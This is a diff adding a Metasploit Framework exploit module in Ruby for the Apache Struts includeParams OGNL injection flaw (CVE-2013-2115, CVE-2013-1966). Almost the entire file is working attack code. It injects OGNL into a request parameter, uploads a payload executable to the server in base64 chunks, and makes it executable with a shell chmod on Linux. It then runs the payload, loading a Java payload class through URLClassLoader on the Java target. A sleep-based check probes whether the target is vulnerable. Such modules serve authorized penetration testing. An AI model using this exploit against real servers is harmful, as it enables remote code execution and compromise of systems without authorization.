|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::EXE |
| 15 | + include Msf::Exploit::FileDropper |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Apache Struts includeParams Remote Code Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a remote command execution vulnerability in Apache Struts |
| 22 | + versions < 2.3.14.2. A specifically crafted request parameter can be used to inject |
| 23 | + arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Eric Kobrin', # Vulnerability Discovery |
| 28 | + 'Douglas Rodrigues', # Vulnerability Discovery |
| 29 | + 'Coverity security Research Laboratory', # Vulnerability Discovery |
| 30 | + 'NSFOCUS Security Team', # Vulnerability Discovery |
| 31 | + 'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2013-2115'], |
| 37 | + [ 'CVE', '2013-1966'], |
| 38 | + [ 'OSVDB', '93645'], |
| 39 | + [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'], |
| 40 | + [ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html'] |
| 41 | + ], |
| 42 | + 'Platform' => [ 'win', 'linux', 'java'], |
| 43 | + 'Privileged' => true, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + ['Windows Universal', |
| 47 | + { |
| 48 | + 'Arch' => ARCH_X86, |
| 49 | + 'Platform' => 'windows' |
| 50 | + } |
| 51 | + ], |
| 52 | + ['Linux Universal', |
| 53 | + { |
| 54 | + 'Arch' => ARCH_X86, |
| 55 | + 'Platform' => 'linux' |
| 56 | + } |
| 57 | + ], |
| 58 | + [ 'Java Universal', |
| 59 | + { |
| 60 | + 'Arch' => ARCH_JAVA, |
| 61 | + 'Platform' => 'java' |
| 62 | + }, |
| 63 | + ] |
| 64 | + ], |
| 65 | + 'DisclosureDate' => 'May 24 2013', |
| 66 | + 'DefaultTarget' => 2)) |
| 67 | + |
| 68 | + register_options( |
| 69 | + [ |
| 70 | + Opt::RPORT(8080), |
| 71 | + OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]), |
| 72 | + OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]), |
| 73 | + OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]), |
| 74 | + OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) |
| 75 | + ], self.class) |
| 76 | + |
| 77 | + #initialise some base vars |
| 78 | + @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" |
| 79 | + @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()" |
| 80 | + end |
| 81 | + |
| 82 | + def execute_command(cmd, opts = {}) |
| 83 | + inject_string = @inject.gsub(/CMD/,cmd) |
| 84 | + uri = normalize_uri(target_uri.path) |
| 85 | + req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] } |
| 86 | + case datastore['HTTPMETHOD'] |
| 87 | + when 'POST' |
| 88 | + req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }}) |
| 89 | + when 'GET' |
| 90 | + req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }}) |
| 91 | + end |
| 92 | + |
| 93 | +# Display a nice "progress bar" instead of message spam |
| 94 | + case @notify_flag |
| 95 | + when 0 |
| 96 | + print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload") |
| 97 | + @notify_flag = 1 |
| 98 | + when 1 |
| 99 | + print(".") # Progress dots |
| 100 | + when 2 |
| 101 | + print_status("Payload upload complete") |
| 102 | + end |
| 103 | + |
| 104 | + return send_request_cgi(req_hash) #Used for check function. |
| 105 | + end |
| 106 | + |
| 107 | + def exploit |
| 108 | + #Set up generic values. |
| 109 | + @payload_exe = rand_text_alphanumeric(4+rand(4)) |
| 110 | + pl_exe = generate_payload_exe |
| 111 | + append = false |
| 112 | + #Now arch specific... |
| 113 | + case target['Platform'] |
| 114 | + when 'linux' |
| 115 | + @payload_exe = "/tmp/#{@payload_exe}" |
| 116 | + chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" |
| 117 | + exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" |
| 118 | + when 'java' |
| 119 | + @payload_exe << ".jar" |
| 120 | + pl_exe = payload.encoded_jar.pack |
| 121 | + exec_cmd = "" |
| 122 | + exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," |
| 123 | + exec_cmd << "#q.setAccessible(true),#q.set(null,true)," |
| 124 | + exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," |
| 125 | + exec_cmd << "#q.setAccessible(true),#q.set(null,false)," |
| 126 | + exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," |
| 127 | + exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," |
| 128 | + exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" |
| 129 | + exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" |
| 130 | + when 'windows' |
| 131 | + @payload_exe = "./#{@payload_exe}.exe" |
| 132 | + exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" |
| 133 | + else |
| 134 | + fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') |
| 135 | + end |
| 136 | + |
| 137 | + print_status("Preparing payload...") |
| 138 | + # Now with all the arch specific stuff set, perform the upload. |
| 139 | + # Need to calculate amount to allocate for non-dynamic parts of the URL. |
| 140 | + # Fixed strings are tokens used for substitutions. |
| 141 | + append_length = append ? "true".length : "false".length # Gets around the boolean/string issue |
| 142 | + sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length ) |
| 143 | + sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length |
| 144 | + case datastore['HTTPMETHOD'] |
| 145 | + when 'GET' |
| 146 | + chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items. |
| 147 | + #This lets us know the length remaining for our base64'd payloads |
| 148 | + chunk_length = ((chunk_length/4).floor)*3 |
| 149 | + when 'POST' |
| 150 | + chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore. |
| 151 | + end |
| 152 | + @notify_flag = 0 |
| 153 | + while pl_exe.length > chunk_length |
| 154 | + java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) |
| 155 | + pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] |
| 156 | + append = true |
| 157 | + end |
| 158 | + java_upload_part(pl_exe,@payload_exe,append) |
| 159 | + execute_command(chmod_cmd) if target['Platform'] == 'linux' |
| 160 | + print_line() # new line character, after progress bar. |
| 161 | + @notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file. |
| 162 | + execute_command(exec_cmd) |
| 163 | + register_files_for_cleanup(@payload_exe) |
| 164 | + end |
| 165 | + |
| 166 | + def java_upload_part(part, filename, append = false) |
| 167 | + cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename) |
| 168 | + append = append ? "true" : "false" # converted for the string replacement. |
| 169 | + cmd = cmd.gsub!(/APPEND/,append) |
| 170 | + cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part)) |
| 171 | + execute_command(cmd) |
| 172 | + end |
| 173 | + |
| 174 | + def check |
| 175 | + print_status("Performing Check...") |
| 176 | + sleep_time = datastore['CHECK_SLEEPTIME'] |
| 177 | + check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" |
| 178 | + t1 = Time.now |
| 179 | + print_status("Asking remote server to sleep for #{sleep_time} seconds") |
| 180 | + response = execute_command(check_cmd) |
| 181 | + t2 = Time.now |
| 182 | + delta = t2 - t1 |
| 183 | + |
| 184 | + |
| 185 | + if response.nil? |
| 186 | + return Exploit::CheckCode::Safe |
| 187 | + elsif delta < sleep_time |
| 188 | + return Exploit::CheckCode::Safe |
| 189 | + else |
| 190 | + return Exploit::CheckCode::Appears |
| 191 | + end |
| 192 | + end |
| 193 | + |
| 194 | +end |
0 commit comments